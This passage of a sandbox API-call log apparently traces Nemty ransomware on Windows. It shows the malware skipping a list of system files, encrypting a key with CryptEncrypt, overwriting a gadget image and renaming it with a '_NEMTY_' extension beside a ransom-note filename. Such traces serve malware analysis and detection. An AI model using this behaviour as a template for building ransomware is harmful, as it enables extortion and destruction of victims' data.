hHeap=0x4f90000) returned 1 [0152.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0152.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0152.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340198 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.331] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0fff30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xe0fff30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xe126090, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0152.331] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0152.331] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="13.png", cAlternateFileName="")) returned 1 [0152.331] lstrcmpiW (lpString1="13.png", lpString2=".") returned 1 [0152.331] lstrcmpiW (lpString1="13.png", lpString2="..") returned 1 [0152.331] lstrcmpiW (lpString1="13.png", lpString2="...") returned 1 [0152.331] lstrcmpiW (lpString1="13.png", lpString2="windows") returned -1 [0152.331] lstrcmpiW (lpString1="13.png", lpString2="$RECYCLE.BIN") returned 1 [0152.331] lstrcmpiW (lpString1="13.png", lpString2="rsa") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="NTDETECT.COM") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="ntldr") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="MSDOS.SYS") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="IO.SYS") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="boot.ini") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="boot.ini") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="AUTOEXEC.BAT") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="ntuser.dat") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="desktop.ini") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="CONFIG.SYS") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="RECYCLER") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="BOOTSECT.BAK") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="bootmgr") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="programdata") returned -1 [0152.332] lstrcmpiW (lpString1="13.png", lpString2="appdata") returned -1 [0152.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="13.png", lpUsedDefaultChar=0x0) returned 6 [0152.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="13.png", lpUsedDefaultChar=0x0) returned 6 [0152.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="13.png", lpUsedDefaultChar=0x0) returned 6 [0152.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="13.png", lpUsedDefaultChar=0x0) returned 6 [0152.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0152.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0152.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0152.333] Sleep (dwMilliseconds=0x5) [0152.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe73f8f0, dwHighDateTime=0x1d561e8)) [0152.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe73f8f0, dwHighDateTime=0x1d561e8)) [0152.347] GetLastError () returned 0x12 [0152.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.347] GetLastError () returned 0x12 [0152.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0152.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0152.348] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0152.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0152.348] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="WSIA0tjXDm0dln7YoHHaMwZPxAVkBGNaawtA+iDX+5F4EqrEe7KEnGF70fWTVlrp\r\nyKP2b7LuZ8CFoe7/q/Pu3mb1U161EU0x/+p/0c5wV15cXps5+Ghamcshi6zsXdhv\r\nBJb4xQ12xKc1K9bPWItgoQuzaxrviY+/uhOnDas1lki+7QE/gJ/U9Cs0r4mSf0yK\r\nrQOFZGT9C5t7ZZ/DDA9u8BLsE0LLm9b59gjRhAqreb6OAsenDrHJMAdYnangFtvW\r\nqk8f31FrdZ97WH6Jkz4vv0TAyzFjSmJaV8AXGkDhXrHFjOyEOrVL7b7Bjnra20R0\r\nePcUcCFArHGMmDoBgWa+AQ==\r\n", pcchString=0x653e91c) returned 1 [0152.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0152.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0152.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0152.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0152.348] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.349] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0152.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0152.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.444] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0152.456] CloseHandle (hObject=0xffffffff) returned 0 [0152.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0152.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0152.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0152.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0152.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png._nemty_kgobjgd_")) returned 0 [0152.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0152.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0152.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0152.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0152.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0152.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0152.457] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="14.png", cAlternateFileName="")) returned 1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2=".") returned 1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="..") returned 1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="...") returned 1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="windows") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="$RECYCLE.BIN") returned 1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="rsa") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="NTDETECT.COM") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="ntldr") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="MSDOS.SYS") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", 